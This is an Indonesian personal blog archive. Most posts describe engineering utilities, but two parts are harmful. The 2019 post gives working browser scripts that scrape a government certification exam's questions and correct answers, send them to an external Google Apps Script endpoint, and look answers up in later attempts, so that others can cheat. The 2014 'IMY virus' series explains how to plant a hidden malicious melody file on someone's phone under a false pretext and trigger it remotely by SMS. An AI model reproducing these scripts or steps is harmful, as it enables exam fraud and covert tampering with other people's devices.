Tampilkan postingan dengan label Trik-trik. Tampilkan semua postingan
Tampilkan postingan dengan label Trik-trik. Tampilkan semua postingan

Senin, 27 Mei 2019

Cont*kan | SIBIM*

Background

Akhir akhir ini kami mengikuti pelatihan sertifikasi kualifikasi pengalaman. Pelatihan ini menggunakan sistem jarak jauh atau biasa disebut Distance learning. Pelatihan ini dilakukan oleh pemerintah yang mengharuskan setiap individu yang mengikuti pelatihhan ini untuk melakukan registrasi dan ujian di akhir masa pelatihannya.

Damn...
Ingin ku meriview seluruh kelemahan sistem ini. mulai dari soal ujian yang dapat diulas, hingga variasi soal yang kurang dinamis. Dengan mengerjakan bersama dua atau tiga orang, semua soal didalam database server dapat diketahui. Sehingga besar kemungkinan peserta dapat lulus dengan nilai dan waktu yang tidak masuk akal.

Pembahasan


Tak sampai hati, muncul niat jahat untuk melakukan sedikit keusilan. jika bisa kami dapatkan record soal dan jawaban yang benar dari ulasan soal. Kedepannya dapat kami petakan semua soal dan membuat contekan kecil untuk peserta berikutnya.

diam diam kami tulis sebuah skrip kecil untuk scraping semua soal melalui penelusuran sampel ulasan dan  membuat server kecil kecilan untuk memeriksa semua jawaban.

berikut adalah scrip untuk scraping pada ulasan:

var form = $(".formulation"),
	base = "https://script.google.com/macros/s/AKfycbyqyttZLmZDikFunTSaKDEJ9Axn_IdI26ZJWD6AZW6IjuREvHZO/exec",
	colect = [];
for(var x=0; x<form.length; x++){
	try{
        var pert = $(".qtext")[x].getElementsByTagName("p")[0].innerText;
    } catch(err){
        var pert = $(".qtext")[x].innerText;
    }
	try{
		var corr = form[x].getElementsByClassName("correct")[0].innerText.slice(3);
		var state = true;
	}catch(err){
		var corr = null;
		var state = false;
	}
	var node = {
		t : state,
		q : pert,
		a : corr
	};
	colect.push(node);
}
$.get(base,{m:"ulas",arr:JSON.stringify(colect)},function(a){console.log(a)});

berikut adalah script melakukan pengecekan jawaban:


var form = $(".formulation"),
	base = "https://script.google.com/macros/s/AKfycbyqyttZLmZDikFunTSaKDEJ9Axn_IdI26ZJWD6AZW6IjuREvHZO/exec",
	colect = [];
for(var x=0; x<form.length; x++){
	try{
        var pert = $(".qtext")[x].getElementsByTagName("p")[0].innerText;
    } catch(err){
        var pert = $(".qtext")[x].innerText;
    }
	var node = {
		q : pert
	};
	colect.push(node);
}
//$.get(base,{m:"tanya",arr:JSON.stringify(colect)},function(a){console.log(a)});
var ad = JSON.stringify(colect);
window.open(base+'?m=tanya&arr='+encodeURI(ad), '_blank')

Kesimpulan

  • skrip diatas bermula dari kelemahan suatu sistem.
  • sistem pelatihan jarak jauh yang dimaksud diatas dapat di ekploitasi melalui skrip diatas.
  • fungsi masing-masing skrip diatas secara berurutan adalah mengambil sampel soal juga jawaban yang benar dari ulasan soal dan crosscheck jawaban dari pertanyaan yang ada.

Sebagai penutup, postingan ini dibuat untuk memberitahukan kelemahan suatu sistem. tidak bermaksud menjatuhkan atau memberi kemudahan pada suatu pihak. Bijaklah dalam menggunakan teknologi.

Salam.

Kamis, 25 April 2019

Auto Report | SP Column

BACKGROUND

belakangan ini tim kami sedang disebukan dengan urusan proyek. Namun disela-sela pembuatan laporan, kami dapati piranti kami rusak. laporan yang seharusnya sudah di print out menjadi terbengkalai karena spoolerService rusak.
FYI: spoolerService itu bagian pendistribusi file cetak ke printer.
Tidak hanya satu printer saja, bahkan publish PDF saja tidak bisa berjalan. Ugh.. kami sangat terpukul. hmm pekerjaan kami pending hanya karena masalah sepele.

SP-Column program yang kami gunakan untuk mengerjakan laporan struktur ini menghasilkan output yang dapat memberikan masalah kompleks. kompleks dalam artian ketika report tidak di cetak dari software langsung akan sangat merepotkan. karena kebetulan versi yang kami gunakan masih built 5.0, sehingga report yang diberikan masih berbentuk text/plain. hal ini sangat berefek buruk ketika text dipindah kedalam msWord. Dikarenakn dari program SP-Column output yng diberikan telah diatur sedemikian rupa mengikuti style yang mereka buat, ketika style yang digunakan di msWord tidak ssuai dengan style kunci dari SP-Column maka hasil report akan berantakan.

RUMUSAN

Menindaklanjuti hal diatas dan tidak ingin hal tersebut terulang untuk kedua kalinya, kami berpikir jalan keluar yang paling paripurna
"Bagaimana laporan kami dapat terpublish tanpa melalui spoolerService?"
Kami mulai berpikir untuk membuat exporter, akhirnya kami putuskan untuk memilih platform googleDoc sebagai exporter.

PEMBAHASAN

GoogleDoc dipilih karena selain kemampuannya yang mirip dengan msWord, googleDoc juga mendukung API pemrograman. Sehingga mudah bagi kami untuk membuat otomatisasi pekerjaan.

GoogleDoc dan Appsscript

Selain GoogleDoc, kami gunakan Appsscript sebagai bahasa pemrograman. mengapa, karena mereka berdua sudah sering kali dikawinkan. ahahaha.
Selain NodeJs, java, ruby, python, dan sebangsaanya, Appsscript merupakan bahasa bawaan googleDoc. Sehingga banyak API yang langsung interkoneksi. Selain itu Appsscript juga memiliki kemampuan handling server sehingga tidak perlu repot lagi untuk mencari hosting aplikasi.

UInterface

OK langsung masuk ke inti pembahasan. aplikasi ini dapat diakses melalui url berikut:
http://bit.ly/autoReportSPCol
dan berikut adalah tampilan dasar dari applikasi ini.
Benar... sangat minimalis sekali. Untuk membuat report cukup empat tahapan yang perlu dilakukan:
  1. Masukan tipe penampang kolom. eg: K3
  2. Masukan result hasil SP-Column 
    copy semua hasilnya/ letakan kursor di awal result, gunakan Shift+Ctrl+End kemudian copas;
  3. Pada seksi ini dapat ditambahkan gambar dengan hanya copas biasanya kami gunakan printscreen. hasil pritscreen dapat langsung di paste pada kotak berikut;
  4. kemudian submit untuk menyusun report kemudian dan tunggu hingga tampilan berubah seperti gambar berikut;
Terakhir klik Download PDF untuk mengunduh file report.
berikut adalah step-step pengoprasian Auto Report | SP Column. Untuk video tutorial mungkin akan kami upload pada post berikutnya

Salam

Kesimpulan

dari semua pembahasan diatas dapat ditarik:
  • Aplikasi ini merupakan alternatif pembuatan report software SP-Column;
  • Untuk menjalankannya dibutuhkan SP-Column v 5.0 atau yang lebih tinggi.
  • Berikut link menuju aplikasi http://bit.ly/autoReportSPCol
  • Output Aplikasi ini adalah file PDF

Jumat, 11 Agustus 2017

Rp. to Text (Convert Rupiah to Text) | Excel Currency Application


Applikasi ini didesain dalam bentuk excel untuk memudahkan pekerjaan anda dalam menerjemahkan nilai Rupiah kedalam bentuk teks, khususnya anda yang sering berurusan langsung dengan perhitungan uang.
Di dunia kami (Teknik Sipil) applikasi semacam ini sering digunakan oleh para engineer dalam pekerjaan RAB. Anda akan sangat terbantu sekali dengan hadirnya applikasi semacam ini dalam file excel anda. Sering kita jumpai pada lembar "Rekab RAB" terdapat satu kolom bertuliskan "Terbilang", biasanya kolom ini berada di samping kolom "Total". nah, disinilah applikasi ini mengambil peranan.
Proses instalasinya terbilang mudah:
  • Silahkan download terlebih dahulu aplikasinya di bawah.
  • Usai pengekstrakan, menggunakan Ms excel silahkan buka file "RP. to Text.Xlsx"
  • Kemudian silahkan buka file yang akan ditanami. (misal: Rab final.Xlsx)
  • Usai terbuka, silahkan salin worksheet "Rp. to Text" ke dalam workbook target
  • Finish
Video Tutorial Instalasi dan penggunaan Menyusul..


Rp. to Text (Convert Rupiah to Text)


GueroehGB
download disini:
https://goo.gl/M4E7Nn

atau scan QR-code dibawah

Jumat, 30 September 2016

Download "Automatic Contur" | gara gara pusing Kuliah

Anda Kuliah.....?
Teknik Sipil..... Geomatika,.... Geodesi.....?
Anda Pusing....?
Karena tugas.....?
Ukur tanah... Bikin Kontur......?

sepertinya Sudah Jodohnya.... hahahaha
silahkan mampir dan selamat datang di blag reot ini. Sepertinya ini hari keberuntungan anda
Saya punya solusi atas masalah anda.....

Download "Automatic Contur" | gara gara pusing Kuliah

Adalah applikasi garapan Mahasiswa Universitas Pembangunan Nasional "Veteran" Jawa Timur akibat tugas besar yang terus membelit dan menambah beban kuliah. Aplikasi ini memililiki kemampuan untuk memplot hasil data kontur dari survey pemetaan sebuah lahan melalui rofil memanjang dan melintang.

Data yang harus anda siapkan adalah data D (jarak antar titik tembak) dan H (elevasi masing masing titik). Sistimnya adalah mengubah Variabel D dan H menjadi Koordinat (X,Y) didalam software bantu CAD.
Selain data survey, satu yang tak kalah penting adalah anda harus menginstal Ms office, khususnya ms.Excel. Karena software ini berextensi *.xlam, yang berbasis excel dan bahasa VBmakro dan dikonfigurasi dengan Sofware CAD, anda juga perlu menginstal Sofware Autocad terlebih dahulu.





Tutorial dan downloadnya disini Gannn...

Untuk tutorial penggunaanya dapat anda akses di sini.
https://youtu.be/_JN-D_UkrBI

Untuk softwarenya anda dapat download disini.
https://goo.gl/zqTk7c versi.0.0.4
atau scan QR diatas.......

UPDATE
https://goo.gl/Zd4po7 versi 0.0.5.2

atau scan QR diatas.......

Selasa, 25 November 2014

IMY Virus for java phone | Part 4 (Judge day)

IMY Virus for java phone | Part 4 (Judge day)

Assalamualaikum Wr. Wb.
Apa kabar sobat? Sehat selalu bukan? Alhamdulillah kita sampai pada tutorial keempat yaitu:


Yang sekaligus menjadi tutorial penutup dalam “How to makejava Virus ini

Judge day


Mengapa judge day?
 Karena dari sekian tutorial yang lalu, ini adalah tahap inti/penentu keberhasilan dari pengoperasian virus yang kita buat. Dan pada tutorial kali ini akan dibagi menjadi 3 tahap, yaitu:
·         INPUT FILE SYSTEM
·         HIDDING FILE
·         EKSEKUSI

Sebelum msuk ke tahap pertama siapkan dulu amunisi yang kita butuhkan:
·         HP java
·         HP target (java)
·         Script virus .IMY
·         App BT-FTP
Untuk apa kita butuh app BTFTP? Akan saya jelaskan nanti. Baik mari masuk tahap pertama


1.    INPUT FILE SYSTEM
Kita tahu bahwa sebelum virus berbiak, kita perlu menanamnya terlebih dahulu kedalam file system inangnya. Disini, dalam hal ini adalah system HP target.
Kita tahu pula bahwa virus yang kita buat terdiri atas script yang sangat sederhana, dan virus tidak memiliki kemampuan untuk mengeksekusi diri sendiri.
“Lalu bagaiman virus dapat berjalan?”
Kita harus mengeksekusinya secara manual dan tanpa diketahui oleh target.
“Bagaimana caranya?”
Mari saya jelaskan. Seandainya script virus saya aktifkan manual dengan meminjam HP target. Jelas kurang praktis. Oleh karena itu kita akan buat agar virus dapat kita eksekusi dari HP owner “Kok bisa? Padahal script virus sangat sederhana!” tentu bisa, karena yang kita jalankan disini tidak hanya script virus saja. Melainkan system dari Handphone juga ambil andil didalamnya. Nah, karena virus akan dieksekusi jarak jauh. Tentu memerlukan koneksi. “sekarang apa sajakah koneksi yang memungkinkan untuk menghubungkan HP owner dan HP target?”
·         Koneksi Bluetooth
·         Melalui panggilan IP
·         Melalui SMS
Dari ketiga koneksi diatas yang paling memungkinkan hanya 2 yaitu: panggilan IP dan SMS. Dan ketika saya uji coba dari kedua metode diatas yang dapat berjalan mulus adalah lewat SMS. Karena jika kita menggunakan panggilan IP, Script virus akan otomatis mati ketika panggilan berakhir. Namun ketika saya gunakan SMS Script virus terus berjalan sampai tombol untuk mematikan script tersebut ditekan.
Kembali ke konteks “Bagaimana command diinput melalui SMS dan direspond oleh script virus?” sederhana, sebenarnya dalam SMS yang kita kirim, terget tidaklah terdapat command tertentu. Hanya sekedar SMS ”Lalu bagaimana cara kerjanya?” seperti yang yang saya jelaskan diatas bahwa kita juga bergantung pada System HP target dalam hal ini, yaitu system yang otomatis berjalan ketika SMS masuk. Sekali lagi saya tekankan, Script virus yang kita buat adalah script sederhana. Untuk itu, agar script virus dapat dieksekusi, virus perlu ditanam ke System yang otomatis berjalan ketika SMS masuk. Dan system yang akan kita tanami virus adalah profil pengguna.
“Mengapa profil pengguna?”
Karena profil pengguna termasuk salah sistem yang dipanggil bersama SMS masuk. Selain itu, Virus yang kita buat adalah dalam format SoundIMelody. Sehingga mempermudah dalam penanamannya. Baik mari masuk ke step by stepnya.

Step by step:
·         Pertama, pinjam HP target yang akan ditanami virus gunakan alasan tertentu, mislanya: Bro, pinjam buat ngirim lagu, atau lainnya agar target tidak curiga
·         Nyalakan kedua Bluetooth
·         Kirim script virus beserta App BTFTP ke HP target.
·         Rename Script virus menjadi “Diam” pindahkan ke root C (Memori telepon paling luar)
·         Tekan softkey kiri (YA) pilih “Gunakan sebagai à Profil pengguna”
·         Keluar dari berkas, sekarang buka  profil pengguna
·         Buka profil umum à sesuaikan layaknya profil Diam (Minimal sound suara)
·         Ubah nada SMS baik SIM 1 maupun SIM 2 ke Diam.IMY (Virus yang kita buat)
·         Ubah jenis dering menjadi: Getar+Dering
·         Simpan dan aktifkan profil
Jika semua sudah selesai kita akan masuk ketahap Hidding.

Hidding File
Disini kita akan menyambungkan file script yang kita buat. Untuk apa virus harus disembunyikan? Virus harus disembunyikan untuk meminimaliskan virus dihapus oleh pengguna, juga agar virus tidak gampang dipersalahgunakan.
Step to hidding
·         Install Aplikasi BT FTP di HP target
·         Buka Aplikasi BTFTP
·         Buka drive C (memori telepon)
·         Drag file “Diam.IMY”
·         Ubah atribut file menjadi Hidden
·         Simpandan tutup aplikasi BT FTP lalu hapus app tersebut.
Sekarang coba cek file “Diam.IMY” di drive C (memori telepon) ada atau tidak. Jika masih ada maka ulangi tahap diatas. Jika sudah tidak ditemukan mari masuk ketahap selanjutnya.
Eksekusi
Akhirnya tahap terakhir yan paling menentukan. Sekarang coba kembalikan HP Target. Cobalah menjauh dan coba mengirim SMS ke HP Tersebut. Dan lihat reaksi target. Segeralah menjauh dan bersikap seperti bukan tersangka.
 Enjoy IT!

NB:
Ada pertanyaan silahkan tulis comment atau via facebook di FP Programmerjava J2ME and SYMBIAN.

Selasa, 11 November 2014

IMY Virus for java phone | Part 3 (tesuto)

IMY Virus for java phone | Part 3 (tesuto)




Asslamualaikum Wr. Wb.
Menyambung postingan yang kemarin yaitu “IMY Virus for java phone | Part2” kali ini saya akan lanjutkan ketahap tesuto.

Tesuto
Apa itu tesuto? Tesuto adalah pengujian. Jadi sebelum kita masuk ketahap Eksekusi terlebih dahulu virus masuk tahap pengujian. Demikian juga dengan handphone target juga harus melalui tes uji.

Virus Tesuto
Untuk virus sendiri, dalam tahap tesuto ini hanya perlu untuk dijalankan seperti biasa. Seperti halnya memutar musik, namun jika sobat sudah merasa yakin berfungsi maka tahap pengujian virus dapat dilewati.
Note:
Untuk beberapa HP yang sistem berkasnya audioplayer launcher(jika file musik dibuka otomatis masuk kemode pemutar musik) sebainya tahap ini dilewati,karena beberapa script virussulit untuk dinonaktifkan pada handphone yang bersitem audio palyer launcher.


Target Tesuto 
Untuk memastikan rencana dapat berjalan dengan mulus. Bukan hanya script virus saja yang perlu dilakukan pengujian. Namun HP target juga perlu diuji.
Dalam tahap ini memang perlu kecakapan dan kecepatan tangan. Pada tahap ini sedikit merepotkan, karena kita harus memasukkan script virus kedalam handphone target dan menguji coba script tersebut. Sebab tidak semua HP dapat membaca script tersebut. Jadi bersabarlah dan pandai pandailah mencari kesempatan :D.


Baik sekian tutorial kali ini semoga bermanfaat dan jangan lupa nantikan posting berikutnya.

Kamis, 30 Oktober 2014

IMY Virus for java phone | Part 2 (Step by step)

IMY Virus for java phone | Part 2 (Step by step)

Assalamualaikum Sobat.
Ini dia yang ditunggu tunggu. Pasti udah penasaran bukan? Langsung aja, Cekidot!

·         Pertama, install semu Software yang udah saya sebutkan di postingan pertama. Jika kurang jelas, sobat bisa baca posting sebelumnya “IMY Virus for java phone”
·         Kedua, Ekstrak IMY_Virus_Project.zip disitu akan ada 2 file yaitu:
-KOSONG.GB
-Readme.txt
·         Ketiga, buka App Classeditor dan buka file KOSONG.GB
·         Lalu, masukkan script berikut dengan cara tekan tombol 5/OK à Text à Tulis script berikut

-------------------------------------------------------------------------------------------------
BEGIN: MELODY
VERSION: 1.2
FORMAT: CLASS 2.0
NAME: virus mati
COMPOSER: GUEROEH GB
BEAT: @0
VOLUME: 70
MELODY: (script rahasia)
END: IMELODY
-------------------------------------------------------------------------------------------------

·         Ganti “NAME: virus matidengan nama virus yang akan sobat buat. Dan “COMPOSER: Gueroeh GB dengan nama Company/Nama Sobat.
·         Lalu replace “Script rahasia” dengan Script yang sobat dapat.
·         Setelah semua sudah tinggal save as dengan nama “Virus.IMY” pastikan extensi file “*.IMY”
Selesai! Satu script virus siap diluncurkan :D

NB:      Sebelum mereplace beberapa item diatas, sebaiknya baca terlebih dahulu file “Readme.txt” atau jika bingung bisa baca artikel pertama IMY  Virus for java phone |Part 1
Jika ada pertanyaan silahkan comment atau via FB di FP Programmer Java J2ME and Symbian

Selasa, 07 Oktober 2014

IMY Virusfor java phone | Part 1 (Introduction)

Project Virus  For Java Phone


Assalamualaikum Wr. Wb.
Apa kabar sobat? Masih semangat utek-utek HP java? Alhamdulillah kali ini masih bisa ngeshare ilmu :D. Nah .. kali ini saya akan share sedikit ilmu tentang Virus. Mungkin bagi sobat yang ingin menjahili HP temannya wajib baca artikel ini. Dijamin menarik + gokil abis. Gak usah panjang lebar langsung aja, Cekidot!
Virus for javaphone

Apa itu Virus?
Virus ialah sekumpulan program yang dibuat dengan tujuan merusak, mengambil,mensabotase kinerja dari inangnya. Walau tak semua virus bertujuan merusak namun hampir 75% virus dibuat untuk tujuan yang kurang baik. Contoh untuk virus yang merusak  à Shortcut fast .Worm adalah program yang sengaja dibuat untuk mengganggu kinerja dari komputer. Ada pula virus yang diciptakan dengan tujuan baik, Contoh à Security Virus adalah salah satu virus yang paling banyak digunakan/ditanam dalam file database. Idenya adalah menginfeksi piranti yang bertujuan mensabotase (mengambil,mengubah,merusak) data tsb. Virus seperti ini banyak ditemukan didalam server server besar yang umumnya berisi file/data rahasia, mencegah agar data tetap aman.

Kembali ke konteks bahasan “Lalu apa itu IMY virus for java phone?”
Untuk yang satu ini, sobat akan segera mengerti dengan sendirinya nanti. Untuk cara kerjanya adalah seperti ilustrasi pada gambar berikut:

Bagaimana? Sobat tertarik?
Langsung saja siapakan alat+bahan berikut:

Semua yang diperlukan sudah ada dalam IMY_Virus_Project.zip Nah untuk step by stepnya silahkan tunggu posting berikutnya.

 ENJOY IT!

Jumat, 02 Mei 2014

HOW TO MAKE ME MANUAL BOOK WITH PHONE (PART 4 SET IMAGES)

Assalamualaikum.Wr.Wb

Percaya atau tidak,survei telah membuktikan 6 dari 10 orang lebih menyukai informasi berbentuk visual.

LALU BAGAIMANA ORANG BISA BETAH BACA BUKU KITA..?

Selain bacaan/topik yang menarik. visual juga menjadi faktor penting dalam menyusun sebuah buku. setelah saya kemarin memposting artikel tentang " Set font color " pada " Me manual book" yang bisa menurunkan rasa boring pembaca.
Kali ini saya akan share bagaimana caranya agar topik bacaan yang sobat usung lebih interaktif. dan bisa menaikan mood para pembaca.
Agar bacaan terlihat lebih menarik sobat bisa menambahkan beberapa objek pendukung bacaan berupa objek visual yang dapat menurunkan rasa jenuh pembaca.
Sobat bisa menambahkan:

  •  Tabel
  •  Diagram
  •  Bagan
  •  Foto
  •  peta
  •  etc. masih bayak lagi
 Gambar: Tabel grafik


yang bisa membuat pembaca betah. tentunya semua elemen diatas dimasukan dalam bentuk gambar.

LALU BAGAIMANA CARA MEMASUKAN FILE GAMBAR KEDALAM BUKU YANG KITA BUAT?

Sabar dulu sobat.... Kita bahas dulu apa-apa saja yang diperlukan dalam tahap ini.


  •  untuk appnya bisa dilihat di artikel saya yang sebelumnya yaitu " How to make ME manual book with phone (part1)"
  •  siapkan gambar yang akan diperlukan ( gambar yang akan dimasukan tidakboleh melebihi resolusi hp sobat, dan ingat gambar harus ber extensi *.png)

  jika belum jelas bisa lihat artikel saya sebelumya yaitu " How to chance image extension |mengubah format gambar"


  •  letakan semua gambar yang akan dimasukan kedalam folder "res"
  •  setelah itu buka app Classeditor dan buka file "book1.txt"
  •  sorot baris yang akan disisipi gambar
  •  tekan fire(0k/5) > "text". dan tulis "<enter> res/nama gambar.png<enter>"
  •  lalu save dan repack dengan App BT FTP
  •  sekarang run dan lihat perubahannya


Selamat Sobat Sudah Bisa Menambahkan Gambar Ke ME Manual Book